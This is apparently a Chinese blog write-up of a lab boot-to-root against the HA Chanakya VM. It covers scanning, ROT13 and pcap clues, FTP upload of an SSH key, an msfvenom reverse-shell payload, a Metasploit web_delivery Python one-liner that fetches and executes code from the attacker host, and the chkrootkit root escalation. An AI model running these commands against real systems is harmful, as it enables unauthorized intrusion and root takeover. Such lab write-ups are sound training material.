前言

图片

这篇文章记录我攻破HA Chanakya的过程,也是我第一次尝试挑战自己的渗透水平;因为在国内搞站太不现实了,根本不敢搞国内的网站,所以只能搭建环境来模拟真实的入侵环境…
HackTheNmae:HA Chanakya
The Mastermind that took down kingdoms is back and this time he has created a puzzle that would make you scratch you brains! It’s time to face Chanakya.
Will you be able to solve this Boot to Root and prove that you are wiser?
ENUMERATION IS THE KEY!!!!!
难度:中等
目的:拿到 192.168.136.140 的 Root 权限
靶机IP:192.168.136.140
攻击机器IP:192.168.136.138

信息搜集

因为我VMware使用的是NET模式,所以我的网段是:192.168.136.x,先扫描一下内网存活主机:

1
2
nmap -Sp 192.168.136.0/24
-Sp 是扫描存活,意思就是扫描192.168.136.0,C段存活的主机

图片

当然,也可以使用KALI自带的netdiscover也可以扫描出内网存活的所有主机,只是比较慢:

图片

经过排查,前两个和最后一个IP不可能是靶机的IP,最有可能的是 140254;然后继续Nmap探测他们的服务版本信息:

1
2
3
nmap -O -sV 192.168.136.140
nmap -O -sV 192.168.136.254
-O对系统版本进行判断,-sV对端口服务版本进行探测

图片

从上图得知,192.168.136.140 才是我们靶机的真实IP,而他开放了212280端口,用到的操作系统是Ubuntu

Web渗透

既然开了HTTP服务,那么我们就可以来浏览它的Web网页来看看有没有突破点:

图片

页面上是没有啥可以利用的,那么我枚举一下目录和文件:

1
2
dirb http://192.168.136.140/ -X .txt
python3 dirsearch.py -u http://192.168.136.140/ -e .txt

图片

得到了几个目录和一个txt文件:

1
2
3
http://192.168.136.140/assets/
http://192.168.136.140/images/
http://192.168.136.140/abuse.txt

其中 abuse.txt 打开是这样的:nfubxn.cpncat

图片

这玩意估计是一个提示,我边去网上找了一下这关键字:nfubxn.cpncat

图片

图片

发现没有关于 nfubxn.cpncat 的说明,那么换个思路,会不会是加密呢?最后在网上找到了一种为ROT13(凯撒)的加密方式和 nfubxn.cpncat 有点相似,我便解密出来为:ashoka.pcapng

图片

结果访问:http://192.168.136.140/ashoka.pcapng 会弹出一个下载,我们把它下载到本地看看:

图片

图片

pcapng 后缀说实话我并不知道是什么文件,管他三七二十一拿记事本打开看看:

图片

Wireshark分析ashoka.pcapng

Wireshark?估计意思是叫我用 Wireshark 来打开 ashoka.pcapng 分析数据包:

1
2
3
得到了一个ftp的流量数据包,其中有USER和PASS
USER:ashoka
PASS:kautilya

图片

登陆FTP

1
2
3
root@liuwx:~# ftp 192.168.136.140
USER:ashoka
PASS:kautilya

图片

从上图可知,我们成功登陆到了他的 FTP 文件传输里,里面有这些文件:

1
2
3
4
5
6
-rw-------   1 ashoka   ashoka          1 Nov 05 15:57 .bash_history
-rw-r--r-- 1 ashoka ashoka 220 Nov 05 14:05 .bash_logout
-rw-r--r-- 1 ashoka ashoka 3771 Nov 05 14:05 .bashrc
drwx------ 2 ashoka ashoka 4096 Nov 05 14:18 .cache
drwxrwxr-x 3 ashoka ashoka 4096 Nov 05 14:26 .local
-rw-r--r-- 1 ashoka ashoka 807 Nov 05 14:05 .profile

到了这里差不多渗透了 %60 了,我们最终目的是要登陆它的 ROOT 账号。问题来了,既然有 FTP 那么怎么才能拿到 ROOT 权限呢?

理理思路:刚开始我想使用msfvenon生成一个shell.elf文件来反弹shell的,但是回过头来看这tm是FTP,咋运行我们的shell文件啊,根本反弹不回来;后来在网上找了一下,可以从 SSH 中的 id_rsa.pub 下手!原理是:在KALI生成一个id_rsa.pub的密匙,然后通过 FTP 来上传我们的密匙,因为它服务器上有我们的密匙,从而我们就可以用 SSH 来进行连接!

在KALI创建ssh-keygen

1
2
ssh-keygen:生成ssh公钥认证所需的公钥和私钥文件,密码为:liuwx
其中,密匙保存在:root/.ssh/id_rsa

图片

然后我们把 id_rsa.pub 里的内容重定向到 authorized_keys 文件中,再移动到 /root/ 目录下,方便 FTP 上传:

1
2
cat id_rsa.pub > authorized_keys
mv liuwx_keys /root/

图片

创建一个 .ssh 目录,为了上传 authorized_keys 文件:

1
2
mkdir .ssh
cd .ssh

图片

上传 authorized_keys 文件:

1
put authorized_keys

图片

连接SSH

1
2
3
ssh ashoka@192.168.136.140
账号:ashoka
密码:liuwx(刚刚ssh生成的密匙)

图片

权限提升

这个时候我们已经得到了一个shell,但是不是 root 权限,那就提权呗。
msf生成一个木马反弹一个meterpreter回话过来:

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.136.138 LPORT=6666 -f elf > shell.elf

图片

图片

上传刚刚生成的文件然后运行我们生成的 shell.elf

图片

这个时候得到了一个 Meterpreter 会话:

图片

使用 post 模块来查看可以利用那些提权 exploit

1
run post/multi/recon/local_exploit_suggester

图片

这边 msf 给出了一个 exploit 提权建议,我们看看它的详细信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
meterpreter > info exploit/linux/local/netfilter_priv_esc_ipv4

Name: Linux Kernel 4.6.3 Netfilter Privilege Escalation
Module: exploit/linux/local/netfilter_priv_esc_ipv4
Platform: Linux
Arch: x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2016-06-03

Provided by:
h00die <mike@stcyrsecurity.com>
vnik

Available targets:
Id Name
-- ----
0 Ubuntu

Check supported:
Yes

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
MAXWAIT 180 yes Max seconds to wait for decrementation in seconds
REEXPLOIT false yes desc already ran, no need to re-run, skip to running pwn
SESSION yes The session to run this module on.

Payload information:

Description:
This module attempts to exploit a netfilter bug on Linux Kernels
before 4.6.3, and currently only works against Ubuntu 16.04 (not
16.04.1) with kernel 4.4.0-21-generic. Several conditions have to be
met for successful exploitation: Ubuntu: 1. ip_tables.ko (ubuntu),
iptable_raw (fedora) has to be loaded (root running iptables -L will
do such) 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686
(fedora) needs to be installed to compile Kernel 4.4.0-31-generic
and newer are not vulnerable. We write the ascii files and compile
on target instead of locally since metasm bombs for not having
cdefs.h (even if locally installed)

References:
https://www.exploit-db.com/exploits/40049
https://cvedetails.com/cve/CVE-2016-4997/
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c



Module options (exploit/linux/local/netfilter_priv_esc_ipv4):

Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
MAXWAIT 180 yes Max seconds to wait for decrementation in seconds
REEXPLOIT false yes desc already ran, no need to re-run, skip to running pwn
SESSION yes The session to run this module on.

meterpreter >

图片

操,目标机器没安装 gcc 一些软件,由于我们不是 root 权限,也安装不了软件:

图片

额,容我吃一根辣条思考思考其他提权思路,先使用命令注入来反弹一个shell:

1
use exploit/multi/script/web_delivery

图片

得到一段注入命令代码:

1
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.136.138:8080/ikQg5iwVfVK7DNA');exec(r.read());"

在目标机运行:

图片

最后使用这个攻击模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
info  exploit/unix/local/chkrootkit 

Name: Chkrootkit Local Privilege Escalation
Module: exploit/unix/local/chkrootkit
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2014-06-04

Provided by:
Thomas Stangner
Julien "jvoisin" Voisin

Available targets:
Id Name
-- ----
0 Automatic

Check supported:
Yes

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHKROOTKIT /usr/sbin/chkrootkit yes Path to chkrootkit
SESSION yes The session to run this module on.

Payload information:

Description:
Chkrootkit before 0.50 will run any executable file named
/tmp/update as root, allowing a trivial privilege escalation.
WfsDelay is set to 24h, since this is how often a chkrootkit scan is
scheduled by default.

References:
https://cvedetails.com/cve/CVE-2014-0476/
OSVDB (107710)
https://www.exploit-db.com/exploits/33899
http://www.securityfocus.com/bid/67813
https://cwe.mitre.org/data/definitions/20.html
https://seclists.org/oss-sec/2014/q2/430

Chkrootkit提权

这个模块就是利用 chkrootkit 漏洞:chkrootkitcrontab,会定期以 root 身份执行 /tmp/update 文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限

目标机先查看一下:tmp/logs

图片

接着运行模块:exploit

图片

然后在末尾输入一段 python 脚本获取 ROOT 会话:

1
python -c 'import pty;pty.spawn("/bin/bash")'

图片

拿到ROOT和final.txt的banner

图片

最后也是拿到了 root 权限和 final 的banner~

总结

这次渗透呢先是扫描内网主机存活,然后找到了 192.168.136.140 这台靶机的 IP,接着呢是在 HTTP 服务找到了一段 ROT13 的加密后的文本,后来用Wireshark打开后分析数据包得到FTP账号密码,通过生成SSH密匙来登陆目标主机的SSH,最后使用 Chkrootkit 来进行了提权操作。

自己还是太菜了,全部搞完都已经快凌晨3点了,总共花了4个多小时才完成这次渗透测试,继续学习吧